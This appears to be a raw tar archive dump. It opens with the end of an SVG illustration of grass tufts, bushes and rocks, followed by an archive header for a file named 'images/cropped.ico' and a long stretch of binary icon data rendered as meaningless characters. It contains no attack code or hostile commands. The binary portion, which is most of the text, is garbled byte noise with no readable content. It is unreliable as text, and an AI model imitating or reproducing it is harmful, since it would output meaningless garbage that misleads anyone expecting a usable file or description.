    <path id="Path_241" data-name="Path 241" d="M648.46,337.14s-5.67-5.88-4.08-5.7,4.57,4.57,4.57,4.57.04-9.69,1.46-7.57-.32,7.61-.32,7.61,4.05-6.31,4.04-5.28c-.03,3.19-3.12,5.69-3.12,5.69s6.48-4.8,5.42-2.85-5.21,3.79-5.21,3.79,7.47-1.51,4.82-.45-5.18,1.79-5.18,1.79H648.8s-7.05-3.54-4.4-3.01a13.128,13.128,0,0,1,4.07,1.42Z" fill="#263238"/>
    <path id="Path_242" data-name="Path 242" d="M266.39,355.26s-10.11-10.47-7.27-10.16,8.15,8.15,8.15,8.15.07-17.26,2.6-13.48-.58,13.55-.58,13.55,7.21-11.25,7.19-9.41c-.05,5.68-5.55,10.13-5.55,10.13s11.54-8.55,9.65-5.08-9.27,6.74-9.27,6.74,13.31-2.68,8.58-.79-9.23,3.19-9.23,3.19h-3.68s-12.57-6.3-7.84-5.36a23.611,23.611,0,0,1,7.25,2.52Z" fill="#629be6"/>
    <path id="Path_243" data-name="Path 243" d="M193.45,348.3s-6.78-7.02-4.88-6.81,5.46,5.46,5.46,5.46.05-11.58,1.74-9.04-.39,9.09-.39,9.09,4.83-7.54,4.82-6.31c-.03,3.81-3.72,6.79-3.72,6.79s7.74-5.73,6.47-3.41-6.22,4.52-6.22,4.52,8.92-1.8,5.75-.53-6.19,2.14-6.19,2.14h-2.47s-8.43-4.23-5.26-3.59a15.606,15.606,0,0,1,4.86,1.69Z" fill="#b1cbeb"/>
    <path id="Path_244" data-name="Path 244" d="M108.75,376.04s-6.78-7.02-4.88-6.81,5.46,5.46,5.46,5.46.05-11.58,1.74-9.04-.39,9.09-.39,9.09,4.83-7.54,4.82-6.31c-.03,3.81-3.72,6.79-3.72,6.79s7.74-5.73,6.47-3.41-6.22,4.52-6.22,4.52,8.92-1.8,5.75-.53-6.19,2.14-6.19,2.14h-2.47s-8.43-4.23-5.26-3.59a15.606,15.606,0,0,1,4.86,1.69Z" fill="#629be6"/>
    <path id="Path_245" data-name="Path 245" d="M335.52,377.4s-6.78-7.02-4.88-6.81,5.46,5.46,5.46,5.46.05-11.58,1.74-9.04-.39,9.09-.39,9.09,4.83-7.54,4.82-6.31c-.03,3.81-3.72,6.79-3.72,6.79s7.74-5.73,6.47-3.41-6.22,4.52-6.22,4.52,8.92-1.8,5.75-.53-6.19,2.14-6.19,2.14h-2.47s-8.43-4.23-5.26-3.59a15.605,15.605,0,0,1,4.86,1.69Z" fill="#a2c6f5"/>
    <path id="Path_246" data-name="Path 246" d="M445.49,377.77s-6.78-7.02-4.88-6.81,5.46,5.46,5.46,5.46.05-11.58,1.74-9.04-.39,9.09-.39,9.09,4.83-7.54,4.82-6.31c-.03,3.81-3.72,6.79-3.72,6.79s7.74-5.73,6.47-3.41-6.22,4.52-6.22,4.52,8.92-1.8,5.75-.53-6.19,2.14-6.19,2.14h-2.47s-8.43-4.23-5.26-3.59a15.605,15.605,0,0,1,4.86,1.69Z" fill="#629be6"/>
    <path id="Path_247" data-name="Path 247" d="M649.96,355.8s-10.32-10.69-7.42-10.37,8.32,8.32,8.32,8.32.08-17.63,2.65-13.76-.59,13.84-.59,13.84,7.36-11.48,7.34-9.61c-.05,5.8-5.67,10.34-5.67,10.34s11.79-8.73,9.86-5.19-9.47,6.89-9.47,6.89,13.59-2.74,8.76-.81-9.42,3.26-9.42,3.26h-3.75s-12.83-6.44-8-5.47a24.119,24.119,0,0,1,7.4,2.57Z" fill="#a2c6f5"/>
    <path id="Path_248" data-name="Path 248" d="M35.03,355.8s-10.32-10.69-7.42-10.37,8.32,8.32,8.32,8.32.08-17.63,2.65-13.76-.59,13.84-.59,13.84,7.36-11.48,7.34-9.61c-.05,5.8-5.67,10.34-5.67,10.34s11.79-8.73,9.86-5.19-9.47,6.89-9.47,6.89,13.59-2.74,8.76-.81-9.42,3.26-9.42,3.26H35.64s-12.83-6.44-8-5.47a24.119,24.119,0,0,1,7.4,2.57Z" fill="#bdd5f5"/>
    <g id="Group_110" data-name="Group 110">
      <path id="Path_249" data-name="Path 249" d="M85.94,340.7s-10.56-18.21-7.55-19.62,9.24,12.45,9.24,12.45-1.2-26.11,1.61-23.7,5.42,20.89,5.42,20.89,5.62-20.08,7.43-15.87-1.44,16.98-1.44,16.98,8.07-15.37,8.88-10.35-3.82,13.25-3.82,13.25,10.64-10.64,11.45-6.43-2.81,8.43-2.81,8.43,14.06-7.63,10.64-3.41-8.43,9.64-8.43,9.64,13.46-4.82,11.85-2.01-7.63,5.82-7.63,5.82,11.05-2.01,9.84-.2a16.1,16.1,0,0,1-4.01,3.58H76.6s-13.25-4.79-8.03-5.19a22.966,22.966,0,0,1,10.04,1.81s-16.27-11.05-8.64-11.85,13.86,8.84,13.86,8.84S72.99,328.5,76.8,330.91l9.16,9.78Z" fill="#629be6"/>
      <path id="Path_250" data-name="Path 250" d="M86.62,345.88s-13.64-14.13-9.81-13.7S87.8,343.17,87.8,343.17s.1-23.29,3.5-18.19-.78,18.28-.78,18.28,9.73-15.17,9.7-12.69c-.07,7.67-7.49,13.66-7.49,13.66s15.57-11.54,13.02-6.86-12.51,9.1-12.51,9.1,17.95-3.62,11.57-1.07-12.45,4.3-12.45,4.3H87.4s-16.95-8.51-10.57-7.23a31.8,31.8,0,0,1,9.78,3.4Z" fill="#263238" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
    </g>
    <g id="Group_111" data-name="Group 111">
      <path id="Path_251" data-name="Path 251" d="M535.69,372.75s-19.96-34.43-14.27-37.08,17.46,23.53,17.46,23.53-2.28-49.35,3.04-44.79,10.25,39.48,10.25,39.48,10.63-37.96,14.04-29.99-2.73,32.09-2.73,32.09,15.26-29.05,16.78-19.57-7.21,25.05-7.21,25.05,20.12-20.12,21.64-12.15-5.31,15.94-5.31,15.94,26.57-14.42,20.12-6.45-15.94,18.22-15.94,18.22,25.43-9.11,22.4-3.8-14.42,11.01-14.42,11.01,20.88-3.8,18.6-.38-7.58,6.77-7.58,6.77H518.03s-25.05-9.05-15.18-9.81,18.98,3.42,18.98,3.42-30.75-20.88-16.32-22.4,26.19,16.7,26.19,16.7-20.5-28.85-13.29-24.29l17.31,18.48Z" fill="#629be6"/>
      <path id="Path_252" data-name="Path 252" d="M536.98,382.54s-25.77-26.7-18.54-25.9,20.77,20.77,20.77,20.77.19-44.02,6.62-34.38-1.47,34.56-1.47,34.56,18.38-28.68,18.34-23.99c-.13,14.49-14.16,25.82-14.16,25.82s29.44-21.8,24.61-12.96-23.64,17.2-23.64,17.2,33.93-6.84,21.88-2.02-23.53,8.13-23.53,8.13h-9.38s-32.04-16.08-19.98-13.66,18.49,6.43,18.49,6.43Z" fill="#263238" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
    </g>
    <g id="Group_114" data-name="Group 114">
      <g id="Group_112" data-name="Group 112">
        <path id="Path_253" data-name="Path 253" d="M120.34,341.73s2.04-1.85,3.79-1.85,7.1,2.57,7.1,2.57,2.14,3.3,2.33,3.49,2.82,1.32,3.01,1.78.58,1.98.58,1.98H120.81l-3.02-7.91,2.53-.07Z" fill="#fff" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
        <path id="Path_254" data-name="Path 254" d="M124.13,339.89l-.1,1.56s4.18,2.43,4.08,3.31a16.556,16.556,0,0,1-.97,2.92l2.14,2.24H117.9l.88-6.71s2.43-3.5,5.35-3.31Z" fill="#263238"/>
      </g>
      <g id="Group_113" data-name="Group 113">
        <path id="Path_255" data-name="Path 255" d="M99.04,340.76s8.17-12.25,10.02-12.45a9.083,9.083,0,0,1,7.2,3.89,44.89,44.89,0,0,1,2.92,7.78c.1.29.49.49,2.72,4.08s2.14,5.64,2.14,5.64H92.43a19.123,19.123,0,0,1,1.85-5.06,7.259,7.259,0,0,1,3.89-2.53l.88-1.36Z" fill="#fff" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
        <path id="Path_256" data-name="Path 256" d="M111.58,349.52s-.88-2.14-.97-2.43-.1-3.11-.39-4.28a29.969,29.969,0,0,0-2.72-4.77l1.75-5.06-.88-.68,1.46-3.6-.82-.38c-1.92.34-9.98,12.44-9.98,12.44l-.88,1.36a7.259,7.259,0,0,0-3.89,2.53,18.062,18.062,0,0,0-1.8,4.86h19.12Z" fill="#263238"/>
      </g>
    </g>
    <g id="Group_117" data-name="Group 117">
      <g id="Group_115" data-name="Group 115">
        <path id="Path_257" data-name="Path 257" d="M435.33,344.78a4.573,4.573,0,0,1,2.38-1.16c1.1,0,4.45,1.61,4.45,1.61s1.34,2.07,1.46,2.19,1.77.83,1.89,1.12.37,1.24.37,1.24H435.64l-1.89-4.96,1.59-.04Z" fill="#fff" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
        <path id="Path_258" data-name="Path 258" d="M437.71,343.62l-.06.98s2.62,1.52,2.56,2.07a10.155,10.155,0,0,1-.61,1.83l1.34,1.4h-7.13l.55-4.21S435.88,343.49,437.71,343.62Z" fill="#263238"/>
      </g>
      <g id="Group_116" data-name="Group 116">
        <path id="Path_259" data-name="Path 259" d="M421.98,344.17s5.12-7.68,6.28-7.81a5.668,5.668,0,0,1,4.51,2.44,28.53,28.53,0,0,1,1.83,4.88c.06.18.3.3,1.71,2.56a7.035,7.035,0,0,1,1.34,3.54H417.83a12.128,12.128,0,0,1,1.16-3.17,4.556,4.556,0,0,1,2.44-1.59l.55-.85Z" fill="#fff" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
        <path id="Path_260" data-name="Path 260" d="M429.84,349.66s-.55-1.34-.61-1.52-.06-1.95-.24-2.68a18.747,18.747,0,0,0-1.71-2.99l1.1-3.17-.55-.43.91-2.26-.51-.24c-1.2.22-6.26,7.8-6.26,7.8l-.55.85a4.556,4.556,0,0,0-2.44,1.59,11.171,11.171,0,0,0-1.13,3.05h11.99Z" fill="#263238"/>
      </g>
    </g>
    <g id="Group_120" data-name="Group 120">
      <g id="Group_118" data-name="Group 118">
        <path id="Path_261" data-name="Path 261" d="M600.71,374.7s3.86-3.49,7.17-3.49,13.42,4.86,13.42,4.86,4.04,6.23,4.41,6.6,5.33,2.49,5.7,3.36,1.1,3.74,1.1,3.74H601.63l-5.7-14.95,4.78-.12Z" fill="#f5f6fa" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
        <path id="Path_262" data-name="Path 262" d="M607.88,371.21l-.18,2.94s7.9,4.6,7.72,6.25a30.635,30.635,0,0,1-1.84,5.51l4.04,4.23H596.11l1.65-12.68s4.6-6.62,10.11-6.25Z" fill="#263238"/>
      </g>
      <g id="Group_119" data-name="Group 119">
        <path id="Path_263" data-name="Path 263" d="M560.46,372.86s15.44-23.16,18.93-23.53,10.85,2.57,13.6,7.35,5.33,14.15,5.51,14.71.92.92,5.15,7.72,4.04,10.66,4.04,10.66H547.95s1.29-6.07,3.49-9.56,7.35-4.78,7.35-4.78l1.65-2.57Z" fill="#f5f6fa" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
        <path id="Path_264" data-name="Path 264" d="M584.17,389.41s-1.65-4.04-1.84-4.6-.18-5.88-.74-8.09-5.15-9.01-5.15-9.01l3.31-9.56-1.65-1.29,2.76-6.8-1.54-.72c-3.62.65-18.86,23.51-18.86,23.51l-1.65,2.57s-5.15,1.29-7.35,4.78c-1.89,2.99-3.1,7.84-3.41,9.19h36.13Z" fill="#263238"/>
      </g>
    </g>
  </g>
</svg>
images/cropped.ico000066600000743763151150443020010164 0ustar00	 h� �	�   ��00 �%.@@ (B�DHH �T��`` ������ (.p �OVx(  ���
�����
���
��
�
�����������
��
��
��
��
����%�
	1�K�

D�8�		A�N�

Z�
[�

C�#�������
	4�p���o�c���v�Z�

?�,����
���m�z�
K�"��		@�i�
U������
�
�@���5�
��
�
�0���L�������m�h�������f�w���
����w�V�����
�	�

M�}�������f�}�'�
�����m�l���
���6�I�r�z�		B���"�
T���
R�	=��
��4�z�b�Z�q���x�k�����_�i�n�	
C����
V�	
=�l�\�[�Q�_�O�S�
T�p�e�4���
��	
A�w�b�d�t�

=�\�\�
Q�N����
��
��6�"�6�
B�(�n�
F�-����
���
��	����� ��
������������
�����
����(0 	���
�	���
�	�
��������
���
�
�	����������
��
��	�
��
����
�������
���
���
��	��
�	�����
����	��
��	�������1�<�2�� �$�5�		7�

B�
K�H�5�&�����
���	)�
3�
9�
C�b�v��v�p�o����������i�V�
	1���
��
������D�w�����e�O�x���q�
L�
B�/�$�&���
�������]�|���o�	8���(�`�{�c�
	;������������9�����H��
�����
?�~��
=���
�
�����
��Y���\��
����
���U���k���	���
���
�'�����&�
�
�
����
��.�����

8���������		:���o��
�
�	�
������h���O��
���
����;���o���������
��h���E�
���
�
�
�
��1�����
>�
���������}���/��
��
�����	'�\�����		:��������
W���m���
������2�h�

1�`�����_�&����)�

T�����
D�]�
N������		>���~�
R�R�a�������l�]�s�������
D�g�m�n�
I�����
E�g�t�
S�p�
N�
I�`�s�������t�V�_�j�x�t�g�k������
P�
O��x�n�h�e�@�

2�M�J�		1�
L�\�	
=�v�k�g�1��
�
�
�	��'�
T�x�x�a�c���{�F�
W�]�\�\�/�n�+�
�����
�
���
B�o�r�	6�3���c��
E�s�G�i�i�	
?������
�
�
�	�	�
��$�
��
X���e��
T�����	���	�	�
���	��	�
������(���
�
�
��
�
���
����
�
������
��
��
��������	������
�
�����	�������������( @ �������
����
����
���
��
��
���
�
������
�	�
�	��	��	��
����
�	�	�	��������	�
�	���
��
������
��������
���������
�	�
�
�
�����
����
�������
���	���
�	�
����
������	��	�
��
���
�	�
������)�
	+�$����� �(�&�	/�9�	8�	7�'�"���
���	�
�
���'�

+�
;�
>�
C�\�y�{�p�`�N�]�
_�h�x�w�}�������h�

W�;����������%�)�*�
	+�	/�
?�S�l�������u�p�|�����������y�^�_�Q�

8��
������
����
��	-�

a���������Y�D�d�����q�
J�	3�2�%��� �������	����
��
N�t�������\�)����
	E�x���o�
L�,�������	����	��
���		3�������b�0�������+�Y�w��h�)�����������	��
�	�P�����m���������
��Z�����_�����
������
����o����� �
�
����	�����"�x�����/���
����������G�����

N��
���
��
�
��
���X�����S������	��	���
��^�����		2���	����
�
����	�		+������#��
����������p���r�(��	���
�
����
�	���v���q�$��
�
�
��
���
���b�����,����
��
���
���������w���
��
���	�	�	���`�����\��
���
�
�������)�����^��
�	���	����
���@�u�����F������������^�����
	:��
��������	���L�D�������
P����
���
���
O�����g�!�����������+�s�g��M�������z�
	=������1�Y�������5�_�z�T�������	�:�~���X�	
<�B�\�|���������Y�
T�X�|�������v�
8�`�r�p�p�	?�)�����'�v�p�������{�W�
C�m������������������^�P�
G�}�b�v�
T�~�	B��"����"�	
D���0��_�}�+�D�H�@�I�a�z�l�]�

<�
	+�`�z����m���i�s������	��	
A�|�������q�z�s�Z�

.�%�
E�<�P�*�
D�}�(�)�z�l�h�e�+���
��
��	��	9��\��k���
Q�_���x�~�c�/���
L�
V�z�+��p�
X�
�
���
���
��
���!�v���_���
<�,�����~�(��y�^�1��t�s�q�&�������	�
�������
P�p�
R���t���0�� �s�~�
V�
D�
N�G������
�����	�	�	��
�������	
C�
C��
�
Q����c�������������	��
�������
�������)�*���
�
��	���
��������	����
��
��������
�	�����
�����
��
��	��
�����
�	�
�����������
������
�����	����������������	�����
������
����
��(0` $��������	��
���������������	����
������������
�
�	���������������
���	���
���������	��
�����	����������	��
���������������������	������������	����������
��	�����	��
���
����������������������	���
�	�
����
��	�
��	�����
����������������	�
����	����	��
��������
������
�	��)���
�
������������
���	��������������	��
����������
�����	���
����
�
��	�
���������
����	�	��������
�������!���!����	�����#����
����������	&�	!�#�
	+�		.�

K�[�
V�J�
G�	,��!�		5�+�#�
M�T�Q�U�Y�n�y�t�v�q�X�
I�H�2�'������
��
���!�
��
2�2�

9�I�J�H�I�_�s��������}�l�a�l�r�|�l���������������������s�a�V�
6�	+��
�
�����������
	,�
	.�
	-�
	4�7�5�<�
D�U�b�
k�l�����������m���n�������������������x�\�k�v�d�\�		1�
�
��
�
������	�������
����%�L�p�����������e�S�Z���������{�c�
L�

L�o�_�O�B�2�(�1�
	5�����
�����	���������
��
>�p�������������p�E�F�?�m�������q�a�
D�#� ���
�
�������	���+������� ��
�	�
�	
6�d�r�����������h�

2�����)�K�������{�q�H�&�.��
��������
�
��%������������h�����a�����i�		I������
��	�%�X���r�x�l�f�
<�����
�������%�������
����&�F���������y�A�����!���
����'�
D�_���z���n�

2�"�������&�	��2��
���	����	���\���������K�
�
�����
�����
��
�	6���������i�	)��	���	��������
��	�	�
��	��
*�j�������
M���������
��������C���������
8���	��
��
�����	�
��
�
����
�M�������q��
�
��	���	����	�������n�������`�&����������
�	��������%�y�������
:��������
�	����
������E�������|�7����
���	�
�
��
���	����
�
L�����������������	���	����
�
��(���������_�������	��
����������R�}�����n������
�����
���	�������W���������	*����������	�
���	����o���n�x�_����������	���������	�	�E�������b�	!� ��������	���������a�����}�L�
�����	�
�
�����������
�
�N�������z��
�
�
��������	��
�	����I�������j���������	����
��	�
��
���G�������m����������
��
�
������Q���������		7���
�
������������
���
�W�������P�
����
���	��
�����
��
��G�~�������t�$�����
������#�����	�� �|�������5���
�	�������	�
���
���	�
-�W�x�������\�0�����������
���
�
� �R�������_�'����
���
�	����������	�
>�G�G���������k�	&������������	�
��\���������
	7��	����
�
��	���
�������V�y�O��f�����y�����	>�-����
��
��
����
E�x�������L��5�
M�	C�9�������%���
���%�[���z�-��

(���}�w�������y�
2����	����.�=�e�����z���{� �
N�����~�T������������+�m�����
P�)�"�	'�Q�q�������������|�h�

?�	
A�?�
H�^�������������Z�
	8�
=���v�b���
i�%�0��
���"����/���������|�x�u�m�
V�

4�F���������������n�������������������k�,�&�p���	B�
U���
S�m�f�8�	��1�����n���S������������}�[�		5�Q�e�i�������������~�����������_�
=�A�
Q�O�|���V���m�5���v�-���5�����&�'�"�����	5��"�	
@�����+��A�@�7�B�P�f�����u�����Y�H�
&�&�e���������i�i���
X�
V���S��
�� ���
���	�*���}�#���_���h�,�
S�p�`�M�8�
&�	�&�G�Q�>�		"�!���m���Z�
C�j���s�p�������i������������$���x�(�	�'�����������|�{��[�4�%�#�
G�
?�	
;�h�`�"�-���m��
��n���
Z�
S�h�
Q���
�
�������	���		6�
S�'��i���t�������	5�
T�����u�m�~���
<�3���x�;�	
?���j�*���U���
G��	��
���
������
�	��	����	
;����	
L�	9�}���	4�&�����������Z�������	
A�(���~�
L�.�		>�~���.�����������	����
�����
J�����z�b���|���g���}���p����o���R��
T�����������	4��
���������
����������
�(�e�����}�3���		;�����{�!����]���h�	@�
B�L�g�r�[�'��&���
�
�
�	����
��
���
�����
��� �5�&�	��� �}���2����	
A�x�������`��	��
������	���
�	�
�
����	������
�����
���	���K�

B�
����~�����z�c�.��������������
�����	���	������
�
��
��	����������	=�1�� ��	��
�
���
���������
�
�
��
���
���������������
�
�������
�������	������
�
��������� �	��	���
�
��	�����
��
����
������	�
��������#�����
�
����	���	�
�����
���
�
����������	�������	���������
������
�
��
���
���������������������	�
��	����	�����
�
�
������������
�	��������
����������	��
�������
��������	�������
��
�(@� @��	��������
������
�����	���
��������	�������
������!��������������������	���������
���
�/������������������
��
����� ��(����-�
�&�	��	��
�������)��+������	�������
������	���� ���
�����
���������������	����
����
������	����	�� �
�&�������
�����������
��������
�
����������������������������
�	��������#���	�
���
��/���	�$�
�������$�������������$��������
������������.����������'���
������
�������	��
���������
�
�����	� ��"����������������-��
�������������
������������
����������������	����	��	���������������%�	�����
���������������������������)��
�������������
��
���������������������	���
���
����
���������
� �	�����"�	��	��
����
�
�
����(���������
����������
����
�-�����������
��������%������
	2�

4�
8�
5�	1�#�
	(���������8�)�	6�		'�	6�
8�T�
T�
`�V�`�W�\�B�		8�.�/��$��
����&������
���"����.���	�

.�
'�
;�
)�
5�5�
J�K�h�r���r�l�
d�
a�
;�!�+�@�_�	
K�;�

B���t�
y�j��m�������������d�]�Y�
`�A�
F��
)����!���������-����
5�
9�:�A�U�G�W�J�M�]�k�������������~�t�q�x�r�x�����n���������������������������y�m�
]�	L�
)�	.���	���������	���#����2�.�4�
0�
@�
<�
C�<�
E�G�U�f�u�r�x�q�}�����������s�s����n�������������������������v�Y�l�u�}�h�d�L�"��
��������������	�#��.���
��
�����	(�,�N�c�������������y�]�f�Z�b���������������u���k�����q�O�_�X�
[�K�V�O�I������������������
�$��#�
���	���		�		4�		G�}�����������������f�E�T�]�����������l�d�7�%��
R�C�B�
9�		6������.������	������
������	�'�
�"����
��
-�G�|�����������������x�U�
6�M�

7�
C�r�z�������r�p�\�

O��'�	���������)������
���0����	��%�
�
�	�A������)�
M�d�x���������������v�

B�"����-��=�
K�����������w�z�C�2��A�
���*���
�,����
�����&����������&�����
�X�����q�W�r�������q�N�����������1�X�������_�t�b�]�9�-�	���!�
���!�
�����	��)�����������+���
���i�������t�v�����
Q�+�'�
�����������
�<�t���f���g�}�u�J���	�'�
�
��'�������
�1���$��
��!����$����	L�Q�������������Y�)� ������������	�9��9�	-�Q�j���s�����u�

3�=��$���
��
�
��<��	��G��������������	�

.�b�����������t�,��
����	��������������_�����������e�	9�
	�������������#��
�������	�����
�:�k�����������-���
�����������-�������	!�k�����������W��!����"���������(�������������		�Q�y���������

6�������
���	�������	������6�}���������h�/�'��
��#������-��!�������������	�
,�s���������]���	�
���
�������	������
����"�_�����������?�������
��������������	���"�	��N�����������+�����	�����
��
������
���	�)�	�$�
2�����������V�	3��#���	������������	����
���
�@�{���������a������	�����
�
��������
�$����-������������|�?�
	�	����)��)��	����
�����������		A�w���������S�	�
�
����
�
���
���	������������
�P�����������m�	(������������
������������R�o�������{�
Q���	���	��	�������������������,�w�����������
,���	����	���	�)����	�����+����

f�����d�u���

7��%�����������
�
�"�
���
������
��'�[�������|�Z�
�,�����
�����(��
��	���������j�����{�o�p�*�����
��	�
��	������
�����������%�x�������~�o�	������������������!�	���$�	�P�v�������g�1���������
�����
�$�
�)�
�!��������&�u���������|��������	�	�#�������������	��
7�����������
H��%��
�����������
����	���������r���������a��
��	������
����
�����
������A�����������i������
�
��
���	�������
��������*�z���������
A������
��"����	���
�	��������

�K�~�����������T�#�����	��
���
����
�3����������N�����������*��!������1�������������&�
���

1�a�o�����������8��*������	������	�/�
��
�,���� ��q���������a�&�	� �
�����"�������	�
�"��������

"�N�W�����������u�0�%�
����	����������������'�I���������~�3�"���
�
�������������.�	���
����	2�T�
8�U�����������}�J���
�
�������(��������$��
	l�����������g�%�'��������
��������������	�+�(�`�a�

2�
%�w�������������L�#�!�$����������������>�����������{�	5��� �/��4���
���!�������
�����	�J�����o�		-��L�x���~�r�������m�=�(�
��
������������P�q�t�j�������	*���`�u�n�
M�F���������-������+��'�K�������	
8��	��`���s�u����������q�	-����������B�'�S�o�������������t��F�w�������u�
W��!����
��"���������Z�������
Z��#���5�o�|�����������������v�f�G�0�+�4�
'�
A�@�
t���������������}�K�	@��z����`�����
e��(������'�������0�p���������f�X�]�
S�T�

H�

?�E�i�{�������������������g�����n���������������������X��'�T���|�=�,�����
T�	
E�f�	
?�#��
��.�(�����'�y�����~���������������s�
[�	+��g�������������������g�}���}�����������������z�G�N��7�q���n�<�b���o�		<�����
[�F����L���!���
L����	F�[�����������������y�`�	
@�
	5�Q�b�Z�j�����������������u�������������o�/�
	/�5�
W�T�
T�v���w�
Q�����	
:�2�����
T�����?�������E�!��a�����
?��"�$�0�j�����	<��"�J�A�
1�9�H�Y�k���������\�������[�W�+� �		 �l���������|���R�m���y�.�
W�����0���
�
�*�+���	�"�����j���y�(���	�A�����l���		A�W�T�I�
.�5�	+��
	*�T�j���Q�b�7�����.�u�����v�~�����z�
Z�~�����n�����
M����.����	�
�
�
�����t���u�0����j�����
Z�
I�e�����q�c�Y�
@�
*�
 ����
<�,�0��
;�	2���b�����1���M�����k�i���������
Q���
����
����������b���l�0���	2���������������q�{���|�Y�:�*��*�
P�U�	2�	
H�v�~�
M�������
_�����Y���}�
N�	
<�Z�Y�:�
��
��������������
��j�
W�8��*�r�������������l�%�K�����z�o�h�c�����t��
B�����\�;�)�����
d�$�'���
>�����	>������*��-��	��
�
�	�	������	������N�����
W�=�U�����i�)� �����������������
9��-�����i�4������j�	
:�%�
��\���{�)����	����
���	�!�������������� �������b�	L�(�j���s�#�	�Z�����r�������C����x���v�	
@��\�����f�S�
H�n�����
J����	�����	����#���	����	��/����'�%�l�������x�m�����U�
��/�����}�����a��$���b�����
M��"�t�������������
K����.����������'�
���
������������2�u���������i�����v�������j����
��
J�����
X�-�8�	
;�^�x�����m�2���&�
��	������������
���������������+�V�a�
E���
���M�����|���	� ��4�
W�����~�{�{�
B���(������/������
�������������
��������������%������0�����5�����)�n�������������0� ���������������	���	��
��	�����������
����
���������	��
U�	
A����
��	
:�������~�v�W�

>�
�������
�����
���
��)��������������������	��������������������
Q�		7�,�� ��������������������*����	��
�����
��%�
����
����
���
��������
�������-�
��	�-��������
���
����
����
�!�������
��%��������������	�������	�
����������������	���������������������
�����*�	�����	����
������&���	�
�	��������&����������'�
� ������%������
��
��
���
��������!��)�������������������
����������!��
���
� ���	������
� �������������
��	�����	��
���
��
���
��
�����
���������
����
�������������	����
�������	���
����!�	��
�'�
�����	�
��
������������������������$��������������������
���������)�
������
���%����"��!�	�
�����)��&��5��%������$��#��	��
���
�!�
��	���"���(H� Q������������������	��������
�������������
�������������	�
��������������
����������%���������	�"�*��������(��!�����/�����	�����
���"�
�1����.���"�	���"�	����	����'�"�,�����������	����
�������
���������������������
��	�
���������
�	��������	�������
�
��������������������������,��������������
�
�	���
�
�����������������'���!����������
�,����������*�������������'���
���
�$������
����	�������	��
���	����
����	�-����������	�(����
������&���
���
��������
��
������	���	�
�
���	������������
����
�����+�����
��	���	���������*���� �����
��#��"�������$�������	�
�
�%���&��'����#�����������:�+�������	�	���!����	���
����������
���������	����
������������
���������
�	��	��
�������	��������	�
��
�����
����������
�
���
����1��
�����"��!�����
������
��������������
� �
����
�����
�����
���	��
�����������������%��	�
�	��������������"�
��
����	�����������	��$����	��*��
�����
��
�
������������"�
�����)�
'�
.�*�	0�0��'����������#�0��+��1�-�
G�G�O�K�M�R�
H�R�		0�.��-���*�����	�'�����
����������,�����"�
(�1��
	2�
&�
G�		+�

P�X�
o�n�

b�
_�
N�
`�
4�'�
�(�)�
R�4�'�&�
X�m�e�k�[�

q�]�x�z�����������}�i�h�Y�b�P�;�<��
,�
�������	�!��	��	������/�
	*�
/�,�A�=�;�K�>�
D�D�b�_�������������u�}�c�V�
K�f�b�z�y�l�\��������{���|����������������e�X�D�R�
	6�4�
6��	�
��	��
���������!�1�	���<�@�@�
?�S�\�S�Z�K�T�^�k�t�������������������������o�}�����u���������������������������������{�

|�P�7�=�����������
����������+��+�"�	 �!�
(�	*�(�	8�
+�<�?�

Q�

L�	]�
Z�
c�~�������������f�k���t�Y�����������������������������`�6�R�Z�w�|�u�z�_�3����
�	�������
���
���� ��%����������
�!��6�

P�o���������������s�^�S�W�X�����������������e�
f�
V�]�����w�_�h�Q�
H�
	7�

+�		=�6�
F���������
�
��	���
����&��!���$��������

@�	7�n�������������������v�f�I�O�R�}����������h�e�D�	&��	+�I�-�	3�
&�0���
��!�
�3���������%������������ ����	�����	+�	3�
o���������������������q�E�2�N�9�
	2�e�s���������s�t�b�]�
4���������	����-�
���������/�.�� ��	��-����<�)������'�>�

h�b�������������������m�

)�,����-� �,�
L�h�����������z���e�7�&��H�����0�� ��6���������!� �!������������
���
��N�z���w�h�]���������w�n�'���������	�
��L�n�������d�g�f�X�K�
*�,��������� ���	������%�$�*�	�$��	��*����*���!����e�������l�]�������s�

:�J����/�����������U�~���]�����h�~�b�>�
�(���-����5���
������7����'���� ��
�������	8�
8�x�������������^�K�+�	�%����)��!��
�����&�
�7�D�o�]���o�o�����b��2��������	�
��(�����A����(��	�����������
K�b���������������	-��������(���������3�
�.��
&�V������������J�		E�	
� ���������.�����:���	��������������
3�j�������������
N����������������&�������
3�{�����������|�
X��(�����&���������%����������	������	�D�q�����������?������������
�	�����������
�<�x�����������m�������!�
�����	����+�%��	������������
.�]�����������c�����'����������������������\�����������}�
:�8�����,�
�����#�'�	�'�
�
���������	��
���D�z���������|�0����	�������
���
���	�����	�����	
5�}�����������S�!���%����	����
�����������%���� ��
��i�����������H�&�������������
�������
��
��2�� ��_�����������i�7�,�	�1���
�����������������������

L������������� � �����
�
�%���������
�	��	���$����&��
?�������������N�
)�
���
��!��#�����������	������
���_�����������u��������	�������	�	��
������ ����"��'�z�����������t�

<�
����������
�����������������`�q���������r�������
����	���
����	��������
�����N�������������m��&��
���	������/�
����
������	�	���|�{�{�����v�a���	�����������	�����	�	�����������7�f�����������M�� ��
��
���	����"����������0����1�������T�n���

O�
�.�������(��������&��
�
������
��
���
<�p���~����c�
:��:�
����������,��������"��
����1�~�|�����x�b�B�������������������������� ��
��	�
	7�������������
R�
�����
���������������������
+�`���������t�K�������������������������������	
5�������������
@��
����
������������	�
�������
��Z�����������m��.��
�����"��"����
�
����	�����������		.�������������
0�	�
�������
��	���
�
��	����
�����
�	�`�������������'����������������	��������������
?�����������j����������������
�����������		�
.�e�������������f�8�����!�����������
�%�/����#�������]�����������W���.��
���	�5��
����
��������� �
����N�v�x�����������V������	������������!����#������	(������������6���!��������
�������������(���	��6�X�`�������������/�1�#��!��$����(�����	��%���
�2������U�����������R�-���&�����������������)���������<�W�J�w�����������{�
N�#������"������$���������%��9�P�������������,�5�����	��
��
�	������������
����	���R�N�		"�@��������������V���	����������������
����Z�������������c��#�����������	������
�"�	�����$�
�/�:�a�u�`�-��u�z�������k�����d�8��=�
�(�� ��������	���)���?�z�����������g�9��%�2�	
:�	E�$�N���������%������	������4�~�����[���
